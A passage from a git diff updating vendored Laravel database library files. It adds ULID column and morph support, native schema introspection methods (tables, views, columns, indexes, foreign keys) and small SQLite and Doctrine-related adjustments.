protected function formatMessage($connectionName, $sql, $bindings, Throwable $previous) + { + return $previous->getMessage().' (Connection: '.$connectionName.', SQL: '.Str::replaceArray('?', $bindings, $sql).')'; + } + + /** + * Get the connection name for the query. + * + * @return string + */ + public function getConnectionName() { - return $previous->getMessage().' (SQL: '.Str::replaceArray('?', $bindings, $sql).')'; + return $this->connectionName; } /** diff --git a/vendor/illuminate/database/SQLiteConnection.php b/vendor/illuminate/database/SQLiteConnection.php index 38116877c..ad7c1486d 100644 --- a/vendor/illuminate/database/SQLiteConnection.php +++ b/vendor/illuminate/database/SQLiteConnection.php @@ -2,8 +2,7 @@ namespace Illuminate\Database; -use Doctrine\DBAL\Driver\PDOSqlite\Driver as DoctrineDriver; -use Doctrine\DBAL\Version; +use Exception; use Illuminate\Database\PDO\SQLiteDriver; use Illuminate\Database\Query\Grammars\SQLiteGrammar as QueryGrammar; use Illuminate\Database\Query\Processors\SQLiteProcessor; @@ -38,6 +37,30 @@ public function __construct($pdo, $database = '', $tablePrefix = '', array $conf : $this->getSchemaBuilder()->disableForeignKeyConstraints(); } + /** + * Escape a binary value for safe SQL embedding. + * + * @param string $value + * @return string + */ + protected function escapeBinary($value) + { + $hex = bin2hex($value); + + return "x'{$hex}'"; + } + + /** + * Determine if the given database exception was caused by a unique constraint violation. + * + * @param \Exception $exception + * @return bool + */ + protected function isUniqueConstraintError(Exception $exception) + { + return boolval(preg_match('#(column(s)? .* (is|are) not unique|UNIQUE constraint failed: .*)#i', $exception->getMessage())); + } + /** * Get the default query grammar instance. * @@ -45,7 +68,9 @@ public function __construct($pdo, $database = '', $tablePrefix = '', array $conf */ protected function getDefaultQueryGrammar() { - return $this->withTablePrefix(new QueryGrammar); + ($grammar = new QueryGrammar)->setConnection($this); + + return $this->withTablePrefix($grammar); } /** @@ -69,7 +94,9 @@ public function getSchemaBuilder() */ protected function getDefaultSchemaGrammar() { - return $this->withTablePrefix(new SchemaGrammar); + ($grammar = new SchemaGrammar)->setConnection($this); + + return $this->withTablePrefix($grammar); } /** @@ -98,11 +125,11 @@ protected function getDefaultPostProcessor() /** * Get the Doctrine DBAL driver. * - * @return \Doctrine\DBAL\Driver\PDOSqlite\Driver|\Illuminate\Database\PDO\SQLiteDriver + * @return \Illuminate\Database\PDO\SQLiteDriver */ protected function getDoctrineDriver() { - return class_exists(Version::class) ? new DoctrineDriver : new SQLiteDriver; + return new SQLiteDriver; } /** diff --git a/vendor/illuminate/database/SQLiteDatabaseDoesNotExistException.php b/vendor/illuminate/database/SQLiteDatabaseDoesNotExistException.php new file mode 100644 index 000000000..f93cfe444 --- /dev/null +++ b/vendor/illuminate/database/SQLiteDatabaseDoesNotExistException.php @@ -0,0 +1,28 @@ +path = $path; + } +} diff --git a/vendor/illuminate/database/Schema/Blueprint.php b/vendor/illuminate/database/Schema/Blueprint.php index dfe53ee79..26f6ee5c4 100644 --- a/vendor/illuminate/database/Schema/Blueprint.php +++ b/vendor/illuminate/database/Schema/Blueprint.php @@ -5,6 +5,7 @@ use BadMethodCallException; use Closure; use Illuminate\Database\Connection; +use Illuminate\Database\Eloquent\Concerns\HasUlids; use Illuminate\Database\Query\Expression; use Illuminate\Database\Schema\Grammars\Grammar; use Illuminate\Database\SQLiteConnection; @@ -119,7 +120,7 @@ public function build(Connection $connection, Grammar $grammar) */ public function toSql(Connection $connection, Grammar $grammar) { - $this->addImpliedCommands($grammar); + $this->addImpliedCommands($connection, $grammar); $statements = []; @@ -129,6 +130,10 @@ public function toSql(Connection $connection, Grammar $grammar) $this->ensureCommandsAreValid($connection); foreach ($this->commands as $command) { + if ($command->shouldBeSkipped) { + continue; + } + $method = 'compile'.ucfirst($command->name); if (method_exists($grammar, $method) || $grammar::hasMacro($method)) { @@ -152,7 +157,8 @@ public function toSql(Connection $connection, Grammar $grammar) protected function ensureCommandsAreValid(Connection $connection) { if ($connection instanceof SQLiteConnection) { - if ($this->commandsNamed(['dropColumn', 'renameColumn'])->count() > 1) { + if ($this->commandsNamed(['dropColumn', 'renameColumn'])->count() > 1 + && ! $connection->usingNativeSchemaOperations()) { throw new BadMethodCallException( "SQLite doesn't support multiple calls to dropColumn / renameColumn in a single modification." ); @@ -182,10 +188,11 @@ protected function commandsNamed(array $names) /** * Add the commands that are implied by the blueprint's state. * + * @param \Illuminate\Database\Connection $connection * @param \Illuminate\Database\Schema\Grammars\Grammar $grammar * @return void */ - protected function addImpliedCommands(Grammar $grammar) + protected function addImpliedCommands(Connection $connection, Grammar $grammar) { if (count($this->getAddedColumns()) > 0 && ! $this->creating()) { array_unshift($this->commands, $this->createCommand('add')); @@ -197,7 +204,7 @@ protected function addImpliedCommands(Grammar $grammar) $this->addFluentIndexes(); - $this->addFluentCommands($grammar); + $this->addFluentCommands($connection, $grammar); } /** @@ -214,7 +221,17 @@ protected function addFluentIndexes() // index method can be called without a name and it will generate one. if ($column->{$index} === true) { $this->{$index}($column->name); - $column->{$index} = false; + $column->{$index} = null; + + continue 2; + } + + // If the index has been specified on the given column, but it equals false + // and the column is supposed to be changed, we will call the drop index + // method with an array of column to drop it by its conventional name. + elseif ($column->{$index} === false && $column->change) { + $this->{'drop'.ucfirst($index)}([$column->name]); + $column->{$index} = null; continue 2; } @@ -224,7 +241,7 @@ protected function addFluentIndexes() // the index since the developer specified the explicit name for this. elseif (isset($column->{$index})) { $this->{$index}($column->name, $column->{$index}); - $column->{$index} = false; + $column->{$index} = null; continue 2; } @@ -235,24 +252,19 @@ protected function addFluentIndexes() /** * Add the fluent commands specified on any columns. * + * @param \Illuminate\Database\Connection $connection * @param \Illuminate\Database\Schema\Grammars\Grammar $grammar * @return void */ - public function addFluentCommands(Grammar $grammar) + public function addFluentCommands(Connection $connection, Grammar $grammar) { foreach ($this->columns as $column) { - foreach ($grammar->getFluentCommands() as $commandName) { - $attributeName = lcfirst($commandName); - - if (! isset($column->{$attributeName})) { - continue; - } - - $value = $column->{$attributeName}; + if ($column->change && ! $connection->usingNativeSchemaOperations()) { + continue; + } - $this->addCommand( - $commandName, compact('value', 'column') - ); + foreach ($grammar->getFluentCommands() as $commandName) { + $this->addCommand($commandName, compact('column')); } } } @@ -279,6 +291,50 @@ public function create() return $this->addCommand('create'); } + /** + * Specify the storage engine that should be used for the table. + * + * @param string $engine + * @return void + */ + public function engine($engine) + { + $this->engine = $engine; + } + + /** + * Specify that the InnoDB storage engine should be used for the table (MySQL only). + * + * @param string $engine + * @return void + */ + public function innoDb() + { + $this->engine('InnoDB'); + } + + /** + * Specify the character set that should be used for the table. + * + * @param string $charset + * @return void + */ + public function charset($charset) + { + $this->charset = $charset; + } + + /** + * Specify the collation that should be used for the table. + * + * @param string $collation + * @return void + */ + public function collation($collation) + { + $this->collation = $collation; + } + /** * Indicate that the table needs to be temporary. * @@ -413,6 +469,38 @@ public function dropConstrainedForeignId($column) return $this->dropColumn($column); } + /** + * Indicate that the given foreign key should be dropped. + * + * @param \Illuminate\Database\Eloquent\Model|string $model + * @param string|null $column + * @return \Illuminate\Support\Fluent + */ + public function dropForeignIdFor($model, $column = null) + { + if (is_string($model)) { + $model = new $model; + } + + return $this->dropForeign([$column ?: $model->getForeignKey()]); + } + + /** + * Indicate that the given foreign key should be dropped. + * + * @param \Illuminate\Database\Eloquent\Model|string $model + * @param string|null $column + * @return \Illuminate\Support\Fluent + */ + public function dropConstrainedForeignIdFor($model, $column = null) + { + if (is_string($model)) { + $model = new $model; + } + + return $this->dropConstrainedForeignId($column ?: $model->getForeignKey()); + } + /** * Indicate that the given indexes should be renamed. * @@ -508,7 +596,7 @@ public function rename($to) * @param string|array $columns * @param string|null $name * @param string|null $algorithm - * @return \Illuminate\Support\Fluent + * @return \Illuminate\Database\Schema\IndexDefinition */ public function primary($columns, $name = null, $algorithm = null) { @@ -521,7 +609,7 @@ public function primary($columns, $name = null, $algorithm = null) * @param string|array $columns * @param string|null $name * @param string|null $algorithm - * @return \Illuminate\Support\Fluent + * @return \Illuminate\Database\Schema\IndexDefinition */ public function unique($columns, $name = null, $algorithm = null) { @@ -534,7 +622,7 @@ public function unique($columns, $name = null, $algorithm = null) * @param string|array $columns * @param string|null $name * @param string|null $algorithm - * @return \Illuminate\Support\Fluent + * @return \Illuminate\Database\Schema\IndexDefinition */ public function index($columns, $name = null, $algorithm = null) { @@ -547,7 +635,7 @@ public function index($columns, $name = null, $algorithm = null) * @param string|array $columns * @param string|null $name * @param string|null $algorithm - * @return \Illuminate\Support\Fluent + * @return \Illuminate\Database\Schema\IndexDefinition */ public function fullText($columns, $name = null, $algorithm = null) { @@ -559,7 +647,7 @@ public function fullText($columns, $name = null, $algorithm = null) * * @param string|array $columns * @param string|null $name - * @return \Illuminate\Support\Fluent + * @return \Illuminate\Database\Schema\IndexDefinition */ public function spatialIndex($columns, $name = null) { @@ -571,7 +659,7 @@ public function spatialIndex($columns, $name = null) * * @param string $expression * @param string $name - * @return \Illuminate\Support\Fluent + * @return \Illuminate\Database\Schema\IndexDefinition */ public function rawIndex($expression, $name) { @@ -682,7 +770,7 @@ public function bigIncrements($column) */ public function char($column, $length = null) { - $length = $length ?: Builder::$defaultStringLength; + $length = ! is_null($length) ? $length : Builder::$defaultStringLength; return $this->addColumn('char', $column, compact('length')); } @@ -899,9 +987,19 @@ public function foreignIdFor($model, $column = null) $model = new $model; } - return $model->getKeyType() === 'int' && $model->getIncrementing() - ? $this->foreignId($column ?: $model->getForeignKey()) - : $this->foreignUuid($column ?: $model->getForeignKey()); + $column = $column ?: $model->getForeignKey(); + + if ($model->getKeyType() === 'int' && $model->getIncrementing()) { + return $this->foreignId($column); + } + + $modelTraits = class_uses_recursive($model); + + if (in_array(HasUlids::class, $modelTraits, true)) { + return $this->foreignUlid($column); + } + + return $this->foreignUuid($column); } /** @@ -1057,7 +1155,7 @@ public function date($column) * Create a new date-time column on the table. * * @param string $column - * @param int $precision + * @param int|null $precision * @return \Illuminate\Database\Schema\ColumnDefinition */ public function dateTime($column, $precision = 0) @@ -1069,7 +1167,7 @@ public function dateTime($column, $precision = 0) * Create a new date-time column (with time zone) on the table. * * @param string $column - * @param int $precision + * @param int|null $precision * @return \Illuminate\Database\Schema\ColumnDefinition */ public function dateTimeTz($column, $precision = 0) @@ -1081,7 +1179,7 @@ public function dateTimeTz($column, $precision = 0) * Create a new time column on the table. * * @param string $column - * @param int $precision + * @param int|null $precision * @return \Illuminate\Database\Schema\ColumnDefinition */ public function time($column, $precision = 0) @@ -1093,7 +1191,7 @@ public function time($column, $precision = 0) * Create a new time column (with time zone) on the table. * * @param string $column - * @param int $precision + * @param int|null $precision * @return \Illuminate\Database\Schema\ColumnDefinition */ public function timeTz($column, $precision = 0) @@ -1105,7 +1203,7 @@ public function timeTz($column, $precision = 0) * Create a new timestamp column on the table. * * @param string $column - * @param int $precision + * @param int|null $precision * @return \Illuminate\Database\Schema\ColumnDefinition */ public function timestamp($column, $precision = 0) @@ -1117,7 +1215,7 @@ public function timestamp($column, $precision = 0) * Create a new timestamp (with time zone) column on the table. * * @param string $column - * @param int $precision + * @param int|null $precision * @return \Illuminate\Database\Schema\ColumnDefinition */ public function timestampTz($column, $precision = 0) @@ -1128,7 +1226,7 @@ public function timestampTz($column, $precision = 0) /** * Add nullable creation and update timestamps to the table. * - * @param int $precision + * @param int|null $precision * @return void */ public function timestamps($precision = 0) @@ -1143,7 +1241,7 @@ public function timestamps($precision = 0) * * Alias for self::timestamps(). * - * @param int $precision + * @param int|null $precision * @return void */ public function nullableTimestamps($precision = 0) @@ -1154,7 +1252,7 @@ public function nullableTimestamps($precision = 0) /** * Add creation and update timestampTz columns to the table. * - * @param int $precision + * @param int|null $precision * @return void */ public function timestampsTz($precision = 0) @@ -1164,11 +1262,24 @@ public function timestampsTz($precision = 0) $this->timestampTz('updated_at', $precision)->nullable(); } + /** + * Add creation and update datetime columns to the table. + * + * @param int|null $precision + * @return void + */ + public function datetimes($precision = 0) + { + $this->datetime('created_at', $precision)->nullable(); + + $this->datetime('updated_at', $precision)->nullable(); + } + /** * Add a "deleted at" timestamp for the table. * * @param string $column - * @param int $precision + * @param int|null $precision * @return \Illuminate\Database\Schema\ColumnDefinition */ public function softDeletes($column = 'deleted_at', $precision = 0) @@ -1180,7 +1291,7 @@ public function softDeletes($column = 'deleted_at', $precision = 0) * Add a "deleted at" timestampTz for the table. * * @param string $column - * @param int $precision + * @param int|null $precision * @return \Illuminate\Database\Schema\ColumnDefinition */ public function softDeletesTz($column = 'deleted_at', $precision = 0) @@ -1188,6 +1299,18 @@ public function softDeletesTz($column = 'deleted_at', $precision = 0) return $this->timestampTz($column, $precision)->nullable(); } + /** + * Add a "deleted at" datetime column to the table. + * + * @param string $column + * @param int|null $precision + * @return \Illuminate\Database\Schema\ColumnDefinition + */ + public function softDeletesDatetime($column = 'deleted_at', $precision = 0) + { + return $this->datetime($column, $precision)->nullable(); + } + /** * Create a new year column on the table. * @@ -1211,12 +1334,12 @@ public function binary($column) } /** - * Create a new uuid column on the table. + * Create a new UUID column on the table. * * @param string $column * @return \Illuminate\Database\Schema\ColumnDefinition */ - public function uuid($column) + public function uuid($column = 'uuid') { return $this->addColumn('uuid', $column); } @@ -1235,13 +1358,41 @@ public function foreignUuid($column) ])); } + /** + * Create a new ULID column on the table. + * + * @param string $column + * @param int|null $length + * @return \Illuminate\Database\Schema\ColumnDefinition + */ + public function ulid($column = 'ulid', $length = 26) + { + return $this->char($column, $length); + } + + /** + * Create a new ULID column on the table with a foreign key constraint. + * + * @param string $column + * @param int|null $length + * @return \Illuminate\Database\Schema\ForeignIdColumnDefinition + */ + public function foreignUlid($column, $length = 26) + { + return $this->addColumnDefinition(new ForeignIdColumnDefinition($this, [ + 'type' => 'char', + 'name' => $column, + 'length' => $length, + ])); + } + /** * Create a new IP address column on the table. * * @param string $column * @return \Illuminate\Database\Schema\ColumnDefinition */ - public function ipAddress($column) + public function ipAddress($column = 'ip_address') { return $this->addColumn('ipAddress', $column); } @@ -1252,7 +1403,7 @@ public function ipAddress($column) * @param string $column * @return \Illuminate\Database\Schema\ColumnDefinition */ - public function macAddress($column) + public function macAddress($column = 'mac_address') { return $this->addColumn('macAddress', $column); } @@ -1380,6 +1531,8 @@ public function morphs($name, $indexName = null) { if (Builder::$defaultMorphKeyType === 'uuid') { $this->uuidMorphs($name, $indexName); + } elseif (Builder::$defaultMorphKeyType === 'ulid') { + $this->ulidMorphs($name, $indexName); } else { $this->numericMorphs($name, $indexName); } @@ -1396,6 +1549,8 @@ public function nullableMorphs($name, $indexName = null) { if (Builder::$defaultMorphKeyType === 'uuid') { $this->nullableUuidMorphs($name, $indexName); + } elseif (Builder::$defaultMorphKeyType === 'ulid') { + $this->nullableUlidMorphs($name, $indexName); } else { $this->nullableNumericMorphs($name, $indexName); } @@ -1465,6 +1620,38 @@ public function nullableUuidMorphs($name, $indexName = null) $this->index(["{$name}_type", "{$name}_id"], $indexName); } + /** + * Add the proper columns for a polymorphic table using ULIDs. + * + * @param string $name + * @param string|null $indexName + * @return void + */ + public function ulidMorphs($name, $indexName = null) + { + $this->string("{$name}_type"); + + $this->ulid("{$name}_id"); + + $this->index(["{$name}_type", "{$name}_id"], $indexName); + } + + /** + * Add nullable columns for a polymorphic table using ULIDs. + * + * @param string $name + * @param string|null $indexName + * @return void + */ + public function nullableUlidMorphs($name, $indexName = null) + { + $this->string("{$name}_type")->nullable(); + + $this->ulid("{$name}_id")->nullable(); + + $this->index(["{$name}_type", "{$name}_id"], $indexName); + } + /** * Adds the `remember_token` column to the table. * @@ -1475,6 +1662,17 @@ public function rememberToken() return $this->string('remember_token', 100)->nullable(); } + /** + * Add a comment to the table. + * + * @param string $comment + * @return \Illuminate\Support\Fluent + */ + public function comment($comment) + { + return $this->addCommand('tableComment', compact('comment')); + } + /** * Add a new index command to the blueprint. * @@ -1635,6 +1833,16 @@ public function getTable() return $this->table; } + /** + * Get the table prefix. + * + * @return string + */ + public function getPrefix() + { + return $this->prefix; + } + /** * Get the columns on the blueprint. * @@ -1678,34 +1886,4 @@ public function getChangedColumns() return (bool) $column->change; }); } - - /** - * Determine if the blueprint has auto-increment columns. - * - * @return bool - */ - public function hasAutoIncrementColumn() - { - return ! is_null(collect($this->getAddedColumns())->first(function ($column) { - return $column->autoIncrement === true; - })); - } - - /** - * Get the auto-increment column starting values. - * - * @return array - */ - public function autoIncrementingStartingValues() - { - if (! $this->hasAutoIncrementColumn()) { - return []; - } - - return collect($this->getAddedColumns())->mapWithKeys(function ($column) { - return $column->autoIncrement === true - ? [$column->name => $column->get('startingValue', $column->get('from'))] - : [$column->name => null]; - })->filter()->all(); - } } diff --git a/vendor/illuminate/database/Schema/Builder.php b/vendor/illuminate/database/Schema/Builder.php index 40f78880b..4a8839442 100644 --- a/vendor/illuminate/database/Schema/Builder.php +++ b/vendor/illuminate/database/Schema/Builder.php @@ -5,11 +5,14 @@ use Closure; use Illuminate\Container\Container; use Illuminate\Database\Connection; +use Illuminate\Support\Traits\Macroable; use InvalidArgumentException; use LogicException; class Builder { + use Macroable; + /** * The database connection instance. * @@ -34,7 +37,7 @@ class Builder /** * The default string length for migrations. * - * @var int + * @var int|null */ public static $defaultStringLength = 255; @@ -45,6 +48,13 @@ class Builder */ public static $defaultMorphKeyType = 'int'; + /** + * Indicates whether Doctrine DBAL usage will be prevented if possible when dropping, renaming, and modifying columns. + * + * @var bool + */ + public static $alwaysUsesNativeSchemaOperationsIfPossible = false; + /** * Create a new database Schema manager. * @@ -78,8 +88,8 @@ public static function defaultStringLength($length) */ public static function defaultMorphKeyType(string $type) { - if (! in_array($type, ['int', 'uuid'])) { - throw new InvalidArgumentException("Morph key type must be 'int' or 'uuid'."); + if (! in_array($type, ['int', 'uuid', 'ulid'])) { + throw new InvalidArgumentException("Morph key type must be 'int', 'uuid', or 'ulid'."); } static::$defaultMorphKeyType = $type; @@ -95,6 +105,27 @@ public static function morphUsingUuids() return static::defaultMorphKeyType('uuid'); } + /** + * Set the default morph key type for migrations to ULIDs. + * + * @return void + */ + public static function morphUsingUlids() + { + return static::defaultMorphKeyType('ulid'); + } + + /** + * Attempt to use native schema operations for dropping, renaming, and modifying columns, even if Doctrine DBAL is installed. + * + * @param bool $value + * @return void + */ + public static function useNativeSchemaOperationsIfPossible(bool $value = true) + { + static::$alwaysUsesNativeSchemaOperationsIfPossible = $value; + } + /** * Create a database in the schema. * @@ -131,9 +162,90 @@ public function hasTable($table) { $table = $this->connection->getTablePrefix().$table; - return count($this->connection->selectFromWriteConnection( - $this->grammar->compileTableExists(), [$table] - )) > 0; + foreach ($this->getTables(false) as $value) { + if (strtolower($table) === strtolower($value['name'])) { + return true; + } + } + + return false; + } + + /** + * Determine if the given view exists. + * + * @param string $view + * @return bool + */ + public function hasView($view) + { + $view = $this->connection->getTablePrefix().$view; + + foreach ($this->getViews() as $value) { + if (strtolower($view) === strtolower($value['name'])) { + return true; + } + } + + return false; + } + + /** + * Get the tables that belong to the database. + * + * @return array + */ + public function getTables() + { + return $this->connection->getPostProcessor()->processTables( + $this->connection->selectFromWriteConnection($this->grammar->compileTables()) + ); + } + + /** + * Get the names of the tables that belong to the database. + * + * @return array + */ + public function getTableListing() + { + return array_column($this->getTables(), 'name'); + } + + /** + * Get the views that belong to the database. + * + * @return array + */ + public function getViews() + { + return $this->connection->getPostProcessor()->processViews( + $this->connection->selectFromWriteConnection($this->grammar->compileViews()) + ); + } + + /** + * Get the user-defined types that belong to the database. + * + * @return array + */ + public function getTypes() + { + throw new LogicException('This database driver does not support user-defined types.'); + } + + /** + * Get all of the table names for the database. + * + * @deprecated Will be removed in a future Laravel version. + * + * @return array + * + * @throws \LogicException + */ + public function getAllTables() + { + throw new LogicException('This database driver does not support getting all tables.'); } /** @@ -170,18 +282,61 @@ public function hasColumns($table, array $columns) return true; } + /** + * Execute a table builder callback if the given table has a given column. + * + * @param string $table + * @param string $column + * @param \Closure $callback + * @return void + */ + public function whenTableHasColumn(string $table, string $column, Closure $callback) + { + if ($this->hasColumn($table, $column)) { + $this->table($table, fn (Blueprint $table) => $callback($table)); + } + } + + /** + * Execute a table builder callback if the given table doesn't have a given column. + * + * @param string $table + * @param string $column + * @param \Closure $callback + * @return void + */ + public function whenTableDoesntHaveColumn(string $table, string $column, Closure $callback) + { + if (! $this->hasColumn($table, $column)) { + $this->table($table, fn (Blueprint $table) => $callback($table)); + } + } + /** * Get the data type for the given column name. * * @param string $table * @param string $column + * @param bool $fullDefinition * @return string */ - public function getColumnType($table, $column) + public function getColumnType($table, $column, $fullDefinition = false) { - $table = $this->connection->getTablePrefix().$table; + if (! $this->connection->usingNativeSchemaOperations()) { + $table = $this->connection->getTablePrefix().$table; + + return $this->connection->getDoctrineColumn($table, $column)->getType()->getName(); + } + + $columns = $this->getColumns($table); + + foreach ($columns as $value) { + if (strtolower($value['name']) === $column) { + return $fullDefinition ? $value['type'] : $value['type_name']; + } + } - return $this->connection->getDoctrineColumn($table, $column)->getType()->getName(); + throw new InvalidArgumentException("There is no column with name '$column' on table '$table'."); } /** @@ -192,11 +347,89 @@ public function getColumnType($table, $column) */ public function getColumnListing($table) { - $results = $this->connection->selectFromWriteConnection($this->grammar->compileColumnListing( - $this->connection->getTablePrefix().$table - )); + return array_column($this->getColumns($table), 'name'); + } + + /** + * Get the columns for a given table. + * + * @param string $table + * @return array + */ + public function getColumns($table) + { + $table = $this->connection->getTablePrefix().$table; + + return $this->connection->getPostProcessor()->processColumns( + $this->connection->selectFromWriteConnection($this->grammar->compileColumns($table)) + ); + } + + /** + * Get the indexes for a given table. + * + * @param string $table + * @return array + */ + public function getIndexes($table) + { + $table = $this->connection->getTablePrefix().$table; + + return $this->connection->getPostProcessor()->processIndexes( + $this->connection->selectFromWriteConnection($this->grammar->compileIndexes($table)) + ); + } + + /** + * Get the names of the indexes for a given table. + * + * @param string $table + * @return array + */ + public function getIndexListing($table) + { + return array_column($this->getIndexes($table), 'name'); + } + + /** + * Determine if the given table has a given index. + * + * @param string $table + * @param string|array $index + * @param string|null $type + * @return bool + */ + public function hasIndex($table, $index, $type = null) + { + $type = is_null($type) ? $type : strtolower($type); + + foreach ($this->getIndexes($table) as $value) { + $typeMatches = is_null($type) + || ($type === 'primary' && $value['primary']) + || ($type === 'unique' && $value['unique']) + || $type === $value['type']; + + if (($value['name'] === $index || $value['columns'] === $index) && $typeMatches) { + return true; + } + } + + return false; + } + + /** + * Get the foreign keys for a given table. + * + * @param string $table + * @return array + */ + public function getForeignKeys($table) + { + $table = $this->connection->getTablePrefix().$table; - return $this->connection->getPostProcessor()->processColumnListing($results); + return $this->connection->getPostProcessor()->processForeignKeys( + $this->connection->selectFromWriteConnection($this->grammar->compileForeignKeys($table)) + ); } /** @@ -303,18 +536,6 @@ public function dropAllTypes() throw new LogicException('This database driver does not support dropping all types.'); } - /** - * Get all of the table names for the database. - * - * @return void - * - * @throws \LogicException - */ - public function getAllTables() - { - throw new LogicException('This database driver does not support getting all tables.'); - } - /** * Rename a table on the schema. * @@ -353,6 +574,23 @@ public function disableForeignKeyConstraints() ); } + /** + * Disable foreign key constraints during the execution of a callback. + * + * @param \Closure $callback + * @return mixed + */ + public function withoutForeignKeyConstraints(Closure $callback) + { + $this->disableForeignKeyConstraints(); + + try { + return $callback(); + } finally { + $this->enableForeignKeyConstraints(); + } + } + /** * Execute the blueprint to build / modify the table. * @@ -384,19 +622,6 @@ protected function createBlueprint($table, Closure $callback = null) return Container::getInstance()->make(Blueprint::class, compact('table', 'callback', 'prefix')); } - /** - * Register a custom Doctrine mapping type. - * - * @param string $class - * @param string $name - * @param string $type - * @return void - */ - public function registerCustomDoctrineType($class, $name, $type) - { - $this->connection->registerDoctrineType($class, $name, $type); - } - /** * Get the database connection instance. * diff --git a/vendor/illuminate/database/Schema/ColumnDefinition.php b/vendor/illuminate/database/Schema/ColumnDefinition.php index 85f8ba38c..1a7e63883 100644 --- a/vendor/illuminate/database/Schema/ColumnDefinition.php +++ b/vendor/illuminate/database/Schema/ColumnDefinition.php @@ -6,7 +6,7 @@ /** * @method $this after(string $column) Place the column "after" another column (MySQL) - * @method $this always() Used as a modifier for generatedAs() (PostgreSQL) + * @method $this always(bool $value = true) Used as a modifier for generatedAs() (PostgreSQL) * @method $this autoIncrement() Set INTEGER columns as auto-increment (primary key) * @method $this change() Change the column * @method $this charset(string $charset) Specify a character set for the column (MySQL) @@ -15,7 +15,7 @@ * @method $this default(mixed $value) Specify a "default" value for the column * @method $this first() Place the column "first" in the table (MySQL) * @method $this from(int $startingValue) Set the starting value of an auto-incrementing field (MySQL / PostgreSQL) - * @method $this generatedAs(string|Expression $expression = null) Create a SQL compliant identity column (PostgreSQL) + * @method $this generatedAs(string|\Illuminate\Database\Query\Expression $expression = null) Create a SQL compliant identity column (PostgreSQL) * @method $this index(string $indexName = null) Add an index * @method $this invisible() Specify that the column should be invisible to "SELECT *" (MySQL) * @method $this nullable(bool $value = true) Allow NULL values to be inserted into the column diff --git a/vendor/illuminate/database/Schema/ForeignIdColumnDefinition.php b/vendor/illuminate/database/Schema/ForeignIdColumnDefinition.php index 1a2059eee..b0f76cada 100644 --- a/vendor/illuminate/database/Schema/ForeignIdColumnDefinition.php +++ b/vendor/illuminate/database/Schema/ForeignIdColumnDefinition.php @@ -31,22 +31,24 @@ public function __construct(Blueprint $blueprint, $attributes = []) * Create a foreign key constraint on this column referencing the "id" column of the conventionally related table. * * @param string|null $table - * @param string $column + * @param string|null $column + * @param string|null $indexName * @return \Illuminate\Database\Schema\ForeignKeyDefinition */ - public function constrained($table = null, $column = 'id') + public function constrained($table = null, $column = 'id', $indexName = null) { - return $this->references($column)->on($table ?? Str::plural(Str::beforeLast($this->name, '_'.$column))); + return $this->references($column, $indexName)->on($table ?? Str::of($this->name)->beforeLast('_'.$column)->plural()); } /** * Specify which column this foreign ID references on another table. * * @param string $column + * @param string $indexName * @return \Illuminate\Database\Schema\ForeignKeyDefinition */ - public function references($column) + public function references($column, $indexName = null) { - return $this->blueprint->foreign($this->name)->references($column); + return $this->blueprint->foreign($this->name, $indexName)->references($column); } } diff --git a/vendor/illuminate/database/Schema/ForeignKeyDefinition.php b/vendor/illuminate/database/Schema/ForeignKeyDefinition.php index a03fcff77..6682da30c 100644 --- a/vendor/illuminate/database/Schema/ForeignKeyDefinition.php +++ b/vendor/illuminate/database/Schema/ForeignKeyDefinition.php @@ -34,6 +34,16 @@ public function restrictOnUpdate() return $this->onUpdate('restrict'); } + /** + * Indicate that updates should have "no action". + * + * @return $this + */ + public function noActionOnUpdate() + { + return $this->onUpdate('no action'); + } + /** * Indicate that deletes should cascade. * @@ -63,4 +73,14 @@ public function nullOnDelete() { return $this->onDelete('set null'); } + + /** + * Indicate that deletes should have "no action". + * + * @return $this + */ + public function noActionOnDelete() + { + return $this->onDelete('no action'); + } } diff --git a/vendor/illuminate/database/Schema/Grammars/ChangeColumn.php b/vendor/illuminate/database/Schema/Grammars/ChangeColumn.php index 260935f8a..009f7ab93 100644 --- a/vendor/illuminate/database/Schema/Grammars/ChangeColumn.php +++ b/vendor/illuminate/database/Schema/Grammars/ChangeColumn.php @@ -3,7 +3,6 @@ namespace Illuminate\Database\Schema\Grammars; use Doctrine\DBAL\Schema\AbstractSchemaManager as SchemaManager; -use Doctrine\DBAL\Schema\Comparator; use Doctrine\DBAL\Schema\Table; use Doctrine\DBAL\Types\Type; use Illuminate\Database\Connection; @@ -34,14 +33,14 @@ public static function compile($grammar, Blueprint $blueprint, Fluent $command, } $schema = $connection->getDoctrineSchemaManager(); - $databasePlatform = $schema->getDatabasePlatform(); + $databasePlatform = $connection->getDoctrineConnection()->getDatabasePlatform(); $databasePlatform->registerDoctrineTypeMapping('enum', 'string'); $tableDiff = static::getChangedDiff( $grammar, $blueprint, $schema ); - if ($tableDiff !== false) { + if (! $tableDiff->isEmpty()) { return (array) $databasePlatform->getAlterTableSQL($tableDiff); } @@ -54,13 +53,13 @@ public static function compile($grammar, Blueprint $blueprint, Fluent $command, * @param \Illuminate\Database\Schema\Grammars\Grammar $grammar * @param \Illuminate\Database\Schema\Blueprint $blueprint * @param \Doctrine\DBAL\Schema\AbstractSchemaManager $schema - * @return \Doctrine\DBAL\Schema\TableDiff|bool + * @return \Doctrine\DBAL\Schema\TableDiff */ protected static function getChangedDiff($grammar, Blueprint $blueprint, SchemaManager $schema) { - $current = $schema->listTableDetails($grammar->getTablePrefix().$blueprint->getTable()); + $current = $schema->introspectTable($grammar->getTablePrefix().$blueprint->getTable()); - return (new Comparator)->diffTable( + return $schema->createComparator()->compareTables( $current, static::getTableWithColumnChanges($blueprint, $current) ); } @@ -89,7 +88,7 @@ protected static function getTableWithColumnChanges(Blueprint $blueprint, Table continue; } - $column->setCustomSchemaOption($option, static::mapFluentValueToDoctrine($option, $value)); + $column->setPlatformOption($option, static::mapFluentValueToDoctrine($option, $value)); } } } @@ -106,7 +105,7 @@ protected static function getTableWithColumnChanges(Blueprint $blueprint, Table */ protected static function getDoctrineColumn(Table $table, Fluent $fluent) { - return $table->changeColumn( + return $table->modifyColumn( $fluent['name'], static::getDoctrineColumnChangeOptions($fluent) )->getColumn($fluent['name']); } @@ -121,10 +120,18 @@ protected static function getDoctrineColumnChangeOptions(Fluent $fluent) { $options = ['type' => static::getDoctrineColumnType($fluent['type'])]; - if (in_array($fluent['type'], ['text', 'mediumText', 'longText'])) { + if (! in_array($fluent['type'], ['smallint', 'integer', 'bigint'])) { + $options['autoincrement'] = false; + } + + if (in_array($fluent['type'], ['tinyText', 'text', 'mediumText', 'longText'])) { $options['length'] = static::calculateDoctrineTextLength($fluent['type']); } + if ($fluent['type'] === 'char') { + $options['fixed'] = true; + } + if (static::doesntNeedCharacterOptions($fluent['type'])) { 